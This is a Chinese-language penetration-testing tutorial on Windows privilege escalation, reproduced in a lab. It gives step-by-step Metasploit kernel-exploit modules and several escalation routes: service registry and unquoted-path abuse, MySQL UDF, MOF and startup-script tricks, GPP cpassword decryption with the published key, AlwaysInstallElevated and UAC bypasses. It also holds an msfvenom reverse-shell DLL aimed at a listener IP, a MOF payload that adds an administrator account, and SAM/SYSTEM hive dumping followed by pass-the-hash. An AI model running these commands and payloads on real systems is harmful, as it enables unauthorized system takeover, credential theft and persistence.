windows提权
windows权限提升
内核漏洞提权
1.查找系统潜在漏洞
手动查找系统可用漏洞
在目标主机上执行命令:
1 | systeminfo |

可以得到比较详细的系统信息以及相关设置
借助WES-NG查找可用漏洞
windows exploit sugester项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
如果单独下载利用网上一大堆教程这里就不细说了,我们讲讲怎么利用meta sploit里面自带的WES-NG来进行利用
注:要使用local exploit suggester,我们必须已在目标机器上获取到了一个Meterpreter session。在运行Local Exploit suggester之前,我们需要将现有的Meterpreter session调到后台运行(CTRL + Z)
示例,假设我们现在有一个Meterpreter session 1
1 | use post/multi/recon/local_exploit_suggester |
如下图所示,它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用模块。

2.确定并利用漏洞
在利用各种漏洞辅助查找工具列出漏洞之后,就对漏洞进行利用,常见的漏洞利用方式比如
利用上一步扫出来的漏洞进行攻击
1 | use payload exploit/windows/local/bits_ntlm_token_impersonation |
提权常用方式
通过KiTrap0D提升Windows权限
此模块将通过KiTrap0D exploit创建具有SYSTEM权限的新会话,如果当前使用的会话权限已提升,则exploit将不会运行。该模块依赖于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。
该模块已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻击版本上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
1 | use exploit/windows/local/ms10_015_kitrap0d |
一旦exploit成功执行,就会打开另一个Meterpreter session
1 | getsystem |
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

Task Scheduler XML提权
此漏洞发生在Task Scheduler中,可允许用户提升权限。如果攻击者登录到受影响的系统,并运行特制应用程序,则该漏洞可能允许特权提升。攻击者必须拥有有效的登录凭据,并且能够在本地登录才能成功利用此漏洞。远程或匿名用户则无法利用此漏洞。
该模块已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻击版本上进行了测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
1 | use exploit/windows/local/ms10_092_schelevator |
一旦exploit成功执行,就会打开另一个Meterpreter session
1 | getsystem |

这样就显示提权成功,但是请注意系统适配问题,比如我的windows server 2008 R2就没有这个漏洞
MS16-016 mrxdav.sys WebDav本地提权
此模块利用了mrxdav.sys中的漏洞。其将在目标系统生成一个进程,并在执行payload之前将其权限提升到NT AUTHORITY\SYSTEM。
该模块已在Windows 7 SP1,x86架构的易受攻击版本上进行了测试。但是请注意这个模块只能攻击32位系统而无法攻击64位系统的
让我们转到MSF控制台并执行该漏洞的exploit模块
1 | use exploit/windows/local/ms16_016_webdav |
一旦exploit成功执行,就会打开另一个Meterpreter session
1 | getsystem |
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

EPATHOBJ::pprFlattenRec本地提权
此模块利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要问题出在使用了未初始化的数据(即允许损坏内存)。
目前,该模块已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功进行了测试。这个模块的攻击依旧只支持32位的操作系统攻击
让我们转到MSF控制台并执行该漏洞的exploit模块
1 | use exploit/windows/local/ppr_flatten_rec |
一旦exploit成功执行,就会打开另一个Meterpreter session
1 | getsystem |
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

MS13-053 : NTUserMessageCall Win32k内核池溢出
Win32k中的内核池溢出漏洞,可允许本地用户提权。内核shellcode使winlogon.exe进程的ACL为NULL(SYSTEM进程)。这将允许任何非特权进程自由迁移到winlogon.exe,从而提升用户权限。注意:退出meterpreter会话时,可能会导致winlogon.exe崩溃。
目前,该模块已在Windows 7 SP1 x86上成功测试。
让我们转到MSF控制台并执行该漏洞的exploit模块
1 | use exploit/windows/local/ms13_053_ schlamperei |
一旦exploit成功执行,就会打开另一个Meterpreter session
1 | getsystem |
可以看到,我们当前的用户权限已提升为了NT AUTHORITY\SYSTEM

MS16-032 Secondary Logon Handle提权
此模块利用了Windows Secondary Logon Service中缺少标准句柄过滤的问题。该漏洞主要影响Windows 7-10和2k8-2k12 32/64位版本。此模块仅适用于具有Powershell 2.0或更高版本的Windows系统,以及具有至少两个或以上CPU内核的系统。
1 | use exploit/windows/local/ms16_032_secondary_logon_handle_privesc |
一旦exploit成功执行,就会打开另一个Meterpreter session
1 | getsystem |

系统服务提权
大多数系统服务都是以系统权限(SYSTEM)启动的,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,从主观来讲,系统服务提权可以归咎于用户的配置疏忽或错误
漏洞查找
Accesschk可以枚举系统上存在权限缺陷的系统服务
1 | accesschk.exe -d "c:\users" |
在您提供的命令中,”-d”参数表示显示指定路径下的所有子目录和文件的权限信息。而”c:\users”则是指定的路径,它将显示”c:\users”目录以及其子目录和文件的权限信息。

后续相关使用网上有大量教程,这里就不再细说了
不安全注册表提权
Windows的服务路径存储在Windows的注册表中,若注册表配置不当,当攻击者可以发现使用低权限可以更改注册表的选项的时候,就可以导致提权,可以将 imagepath 修改成恶意的文件,重启导致提权
1 | # 存储Windows服务有关的信息 |
复现
1.新建一个服务,test
1 | sc create test binpath= "C:\1.exe" |

这样就表示新建一个服务成功
或者在CS或者msf上线之后执行:
1 | shell subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\Services\test" /grant=apache=f |
2、打开注册表给该文件权限


3、先使用MSF或者CS上线靶机

4.查询计算机中的所有服务
1 | sc query type= all state= all |findstr /i service_name.* |more |

5.使用subinacl进行查询提权
1 | shell subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\Services\test" /display |

6.查看上传的cs的恶意程序文件路劲并记录下来

7.替换该文件为恶意的文件或者修改文件的路径
1 | reg add "HKEY_LOCAL_MACHINE\system\ControlSet001\Services\test" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\apache\Desktop\1.exe" /f |

8.查询是否替换
1 | reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\test /v imagepath |

这里可以看到我们的服务路劲已经被篡改了
9.这个时候apache是没有权限启动服务的,需要管理员重启电脑
这里我们模拟管理员启动这个服务
1 | sc strat test |
10.提权成功

不带引号的服务路径提权
一、漏洞原理
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
路径没有包含在引号中,服务会按照以下顺序依次执行
1 | c:\program.exe |
假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
使用以下命令查看系统中错误配置的路径
1 | wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ |

二、编译一个可执行程序
要求:
- 运行后执行系统命令whoami
- 在当前目生成一个.txt文件,内容为whoami的执行结果
- 程序命名为program.exe
- 程序执行后自动删除(以免影响正常服务启动)
1 | package main |
编译:go build -o Program.exe
这里也可以使用MSF生成一个反弹shell的exe
三、漏洞复现
1、将可执行程序上传至靶机Windows2008 R2

2、重启靶机
查看同上传程序的目录下生成的whoami.txt内容中权限是否为system

数据库提权
1.MYSQL提权
UDF提权
UDF指的是用户自定义函数,用户可以对数据库所使用的函数进行一个扩展(利用dll文件),从而定制一些符合自己需求的函数,但是同样的,当黑客获取了数据库的root用户的一个权限时,即使所在的系统权限很低,也可以使用UDF来自定义一个执行系统命令的函数,但是执行权限为管理员权限,从而可以用来添加管理员账户,远程连接。
首先我们需要拥有mysql数据库的root权限,由于mysql的版本不同,udf提权的方式也不同。
mysql版本>5.1 需要在mysql的安装目录下创建 lib\plugin 这个文件夹(默认不存在,需要手动创建),之后将把dll文件放在这个文件夹中;
mysql版本<5.1 需要将dll文件放在 C:\windows\或C:\windows\system32。
注意:提权所用的dll在sqlmap或msf中都有,要与受害机的系统与数据库位数进行匹配。
首先执行命令查看是否允许写入文件:
1 | show global variables like 'secure_file_priv'; |
secure_file_priv的值如果为NULL,就表示不允许写入,如果什么值都没有,就表示可写入任何路径,如果有特定的值就表示只能在特定的路径写入

可以看到允许任意路径写入
但是这里我们利用MSF
进行攻击,需要远程连接该主机的数据库,所以要提前查看,该数据库是否可以远程连接。
1 | select host,user from user; |

上图发现root用户的连接对象都是本地,这里使用sql语句进行修改,将其改为允许远程连接
这条语句来修改连接对象为所有主机
(这里允许了远程连接后,好像要重启mysql服务)
1 | update user set host = '%' where user = 'root'; |
现在就可以实现远程登录了

1 | msfconsole |

攻击完之后,在受害机的lib\plugin目录下将会生成一个dll文件。
之后查看已载入的函数并尝试执行。
1 | use mysql; |
由于该命令没有回显,不方便,所以我们需要手动的加载一个有回显的函数。
1 | create function sys_eval returns string soname 'waZzYnWC.dll'; |

这里的dll文件的名称是msf随机的,利用该条命令载入了sys_eval函数(dll文件名称如下)

这里的dll文件的名称是msf随机的,利用该条命令载入了sys_eval函数
1 | select sys_eval('whoami'); |

mof提权
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将想要的操作通过代码存储到这个mof文件中,就可以实现权限提升
利用条件
- 仅限windows 及适用于windows server2003及以下的版本
- mysql用户具有root权限(对上面那个目录可写)
- secure_file_priv参数不为NULL
利用方式
拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权
使用sql语句,通过mysql的dumpfile操作将恶意mof文件拷贝到服务器的c:/windows/system32/wbem/mof/目录下,将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件
1 | select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' |
利用方法
1.使用msf自带的mof模块提权
1 | use exploit/windows/mysql/mysql_mof |
mof脚本的内容:
1 | #pragma namespace("\\\\.\\root\\subscription") |
其中核心payload为:
1 | var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\") |
2.手动写入提权
将上述mof脚本制作test.mof写入mof目录下,使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件:
1 | select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof"; |
提权扫尾工作
痕迹清理:每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。
1 | # 停止 winmgmt 服务 |
开机启动项提权
提权原理
利用Mysql,将后门文件写入开机自启动项,同时因为是开机自启动,再写入之后,需要重启目标服务器(这个要求mysql的权限就很高,至少是管理员权限,甚至是system),该实验只能在windows中使用。
是将一段 VBS脚本导入到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!
利用方式
1.直接上传脚本
VBS 提权脚本代码如下:
1 | setwsnetwork=CreateObject("WSCRIPT.NETWORK") |
将以上代码保存为 .vbs 后缀的文件上传即可
通过大马的MYSQL执行功能,利用SQL命令来进行VBS脚本的创建和添加
1 | create table secist(cmd text); |
但这样直接写入目标文件夹可能会报错,也可以先写入其他路径下的一个文件夹,再将生成的文件移动到我们的目标目录下
命令实现:
1 | select * from a into outfile "C:\\WINDOWS\\TEMP\\secist.vbs" |
生成之后再将文件移动到目标目录下即可
组策略首选项提权
Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
组策略的发展
域环境下的密码难题
在Windows server 2003中,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式,贴三好学生大佬的代码:
1 | strComputer = "."Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user") |
SYSVOL
这种方式十分简便,但也存在着极大的弊端,弊端在于修改后的密码会明文保存在vbs脚本中 而该vbs脚本通常会保存在共享文件夹SYSVOL 这就存在一个隐患: 任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码。
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置:
1 | \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ |
组策略偏好GPP
在2006年,微软收购了桌面标准的“PolicyMaker”,并重新借此与win2008发布了GPP(Group Policy Preferences)。其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:
1 | 映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码 |
在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。
通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。
环境要求
组策略首选项功能是windows server 2008引入的,并且08之后都已经打过该漏洞的补丁
复现
在运行中输入,gpmc.msc,进入组策略管理。

右击:组策略–>新建:

右击test(刚刚创建好的组策略对象)–>编辑,来到如下位置:

右击:本地用户和组–>新建–>本地用户:

操作–>
更新

在这里所设置的密码一定要记住
回到组策略管理,设置组策略的对象,添加Domain Computers到组策略组中:
Domain Computers为加入到域中的所有工作站和服务器,

查看组策略对象test
的详细信息:

可到该组策略对应的ID为:{F63F5863-A1E6-42FA-8DFC-90100822D271}
。
至此,组策略配置完成,域内主机重新登录。
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即
Groups.xml
,该文件中保存了该组策略更新后的密码。
域内主机重新登录,即可在目录下C:\Windows\SYSVOL\domain\Policies
查看ID相对应的策略。

继续查看,找到文件Groups.xml
,路径为:
1 | C:\Windows\SYSVOL\domain\Policies\{F63F5863-A1E6-42FA-8DFC-90100822D271}\Machine\Preferences\Groups |
查看文件内容:

其中的关注点为cpassword
:
1 | D6vPChr5erlSuaRcFDpblki+IBhRnKaAju256h3ampo |
此密码的加密方式为AES-256
。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。
The 32-byte AES key is as follows:
1 | 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 |
密码的破解方式:
- kali命令:
针对此密码,我们可以使用kali自带的命令gpp-decrypt
进行破解:

这里就可以看到破解出来的密码为我们一开始为组策略添加用户时所写的密码。
- msf模块
可使用msf后渗透模块run post/windows/gather/credentials/gpp
效果如下:

这里就和上一个kali的方式一样,拿到了明文的密码
- Powersplot
我们利用的是powersploit里面的Get-GPPPassword
模块
如下三种使用方式:
1 | powershell -executionpolicy bypass -file Get-GPPPassword.ps1 |
但在实验过程中,由于2008系统中powershell的版本问题,并未利用成功。
升级到powershell3.0版本就可利用成功,在此就不演示了。

MSI安装策略提权
前置知识
MSI文件的由来
说到MSI文件,不得不先说说Windows Installer,它不只是安装程序,而是可扩展的软件管理系统。Windows Installer的用途包括:管理软件的安装、管理软件组件的添加和删除、监视文件的复原以及使用回滚技术维护基本的灾难恢复。另外,Windows Installer还支持从多个源位置安装和运行软件,而且可以由想要安装自定义程序的开发人员自定义。要想使用这些功能,就必须通过MSI文件。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI文件将程序的组成文件与功能关联起来。此外,它还包含有关安装过程本身的信息:如安装序列、目标文件夹路径、系统依赖项、安装选项和控制安装过程的属性。
MSI的优势
Windows Installer技术就是合并在一起发挥作用的两个部分:客户端安装程序服务(Msiexec.exe) 和Microsoft软件安装(MSI)软件包文件。
当双击MSI文件的时候,与之关联的Windows Installer 的一个文件Msiexec.exe 被调用,它将用Msi.dll读取软件包文件(.msi)、应用转换文件(.mst)进行进一步处理,然后 Windows Installer 执行所有与安装有关的任务:包括将文件复制到硬盘、修改注册表、创建桌面快捷方式,必要时显示提示对话框以便用户输入安装需要的信息,就这样,一个程序安装到了你的电脑上。
采用MSI安装的优势在于你可以随时彻底删除它们,更改安装选项,即使安装中途出现意想不到的错误,一样可以安全地恢复到以前的状态,正是凭着此强大功能,越来越多的软件开始使用MSI作为发行的方式了。 如果你对MSI文件感兴趣,可以用WinRAR等压缩软件打开,看一下里面的内容,满足一下好奇心。
漏洞原理
MSI安装策略提权是由于用户在配置MSI安装策略时,启用了“永远以高特权进行安装”,使得任何权限的用户都可以通过SYSTEM权限安装MSI程序,此时测试人员可以在目标主机上安装一个预先制作的恶意MSI文件,以获得MSI权限
确定系统是否存在漏洞
可以通过一下命令来确定能否实现AlwaysInstallElevated,因为能否利用此提权的原理是用户在配置MSi安装策略时启用了“永远以高特权进行安装”,该选项启用后,系统会自动在注册表的以下两个位置创建键值“1”.
1 | HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated |
可以通过以下命令来看是否开启了永远以高特权进行安装:
1 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |

这样就表示还没有打开所需要的选项
激活AlwaysInstallElevated
注意:这里计算机配置和用户配置都需要被激活
打开运行栏(win+R),输入”gpedit.msc”,即可进入本地组策略编辑器界面,然后路径设置:计算机配置–管理模板–Windows组件–Windows Installer,点击始终以提升的权限进行安装,选择已启用,点击确定即可
用户配置–管理模板–Windows组件–Windows Installer,点击始终以提升的权限进行安装,选择已启用,点击确定即可

从未配置点击到已启用,然后点击确定或应用即可
也可以通过注册表进行修改
1 | reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 |
但是需要修改注册表有下面两权限:
1 | SeRestorePrivilege |
使用whoami /priv可以查看权限。
nq

再次使用之前的命令进行查看,就可以看到此项权限已经成功开启了
也可以利用powerup里面的特定模块查看该选项是否被打开

绕过UAC提权
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证
UAC限制所有用户包括非RID500的管理员用户使用标准用户登陆到他们的计算机,并在标准用户的安全性上下文中访问资源和运行应用,当RID非500的管理员用户登陆以后,系统会为其创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌,标准用户访问令牌包含与管理员访问令牌相同的用户特定信息,只是移除了windows管理特权和相关SID,标准用户访问令牌用于启动不执行管理任务的应用程序,当管理员需要执行高管理权限任务时,windows会自动提示予以批准。
需要UAC的授权才能进行的操作列表如下:
- 配置Windows Update
- 增加、删除账户
- 更改账户类型
- 更改UAC的设置
- 安装ActiveX
- 安装、卸载程序
- 安装设备驱动程序
- 将文件移动/复制到Program Files或Windows目录下
- 查看其它用户的文件夹
使用msf模块复现
1 | use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。 |
MSF中Bypassuac模块的使用前提有两个:
- 一是系统当前用户必须在管理员组中,
- 二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
1 | use exploit/windows/local/bypassuac |
这里获取的test用户在管理员组中,且 UAC设置为默认,使用exploit/windows/local/bypassuac模块,攻击第二次成功!

这里获取的test用户在管理员组中,且 UAC设置为默认,使用use exploit/windows/local/bypassuac_injection模块,连续攻击两次都失败。提示32位的目标攻击64位的系统,但是我这里是使用的64为的target,也还是失败。
1 | use exploit/windows/local/bypassuac_injection |

UAC白名单
微软在用户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默的方式自动提升到管理员权限运行,如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、CompMgmtLauncher.exe、rundll32.exe、explorer.exe,测试人员可以通过对这些白名单进行DLL劫持、DLL注入或者注册表劫持等,绕过UAC并提升权限。
寻找白名单工具,由微软提供的Sigcheck和Strings。
白名单程序拥有一个共同的特性,就是Mani数据中autoElevate属性的值为true,sigcheck可以检测目标程序是否具有autoElevate属性,以computerdefaults.exe为例:
1 | sigcheck.exe /accepteula -m C:/Windows/System32/ComputerDefaults.exe |

Strings可以出现所有具有autoElevate属性的程序:
1 | strings.exe /accepteula -s C:/Windows/System32/*.exe | findstr /i "autoElevate" |

利用UAC白名单复现
执行如下命令:
1 | reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\Windows\System32\cmd.exe" /f |
这样就在HKCU\Software\Classes\ms-settings\shell\open\command(如果没有就创建)将要执行的攻击载荷分别写入“默认”值和“DelegateExecute”值(这里写入的是cmd的路径)标准用户对该注册表键值有修改权限,并且对HKCU的修改会自动同步到HKCR
将上面的注册表命令输入到命令行里面执行之后,再次运行ComputerDefaults.exe,就会自启动运行cmd.exe

这里可以看到随着ComputerDefaults的启用,cmd也随之启动了。
DLL劫持
windows中有很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库文件,其中包含程序运行所使用的代码和数据,当应用程序启动时,相应的DLL文件就会被加载到程序进程的空间,测试人员可以通过一些手段,欺骗合法的、受信任的应用程序加载任意的DLL文件,从而造成DLL劫持。

使用msf生成恶意dll文件
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=5566 -f dll -o libssl-1_1.dll |
生成之后,把生成的dll替换进去,然后再次执行应用,msf接收到反弹shell,上线成功

模拟可信任目录
根据去我们对于绕过UAC的前置知识的讲解,可以知道对于UAC程序来讲,系统会通过两个条件来判断是否可以进行自动权限提升
1.会读取程序的Manifest信息里面的autoElevate的值,如果这个值为true,系统就认为这个程序可以自动进行权限提升
2.系统会检测可执行文件的签名,这也就意味着无法通过伪造来绕过第一个条件
3.系统会检测可执行文件是否位于收信任目录中,比如C:\windows\System32目录
但是对于第三个条件,系统在检测可信任目录时,相关函数会自动去掉可执行文件路径中的空格,基于此原理,我们可以根据可信任目录来创建一个包含尾随空格的模拟受信任目录,将一个白名单程序复制到该收信任目录中,配合DLL劫持就可以绕过UAC。
HighNightmare
漏洞背景就不细说了,系统保护在Windows操作系统中默认应用,因此如果已创建系统还原点,那么标准用户可直接从卷影副本中访问和转储SAM、SYSTEM、SEVURITY文件,这些文件在系统中的原始路径如下:
1 | C:\Windows\System32\config\SAM |
以标准用户执行以下命令:
1 | icacls C:\Windows\System32\config\SAM |

当输出BUILTIN\Users:(I)(RX)就表示该系统易受攻击
将保存好的HighNightmare.exe传上靶机并执行

使用impacket-secretsdump工具获取用户Hash值,如图:
将上一步生成的文件传到kali里,然后执行命令:
1 | impacket-secretsdump -sam SAM-2021-09-10 -system SYSTEM-2021-09-10 -security SECURITY-2021-09-10 LOCAL |

使用impacket-psexec
工具,通过传递Hash利用SMB服务获取目标系统SYSTEM权限,如图:
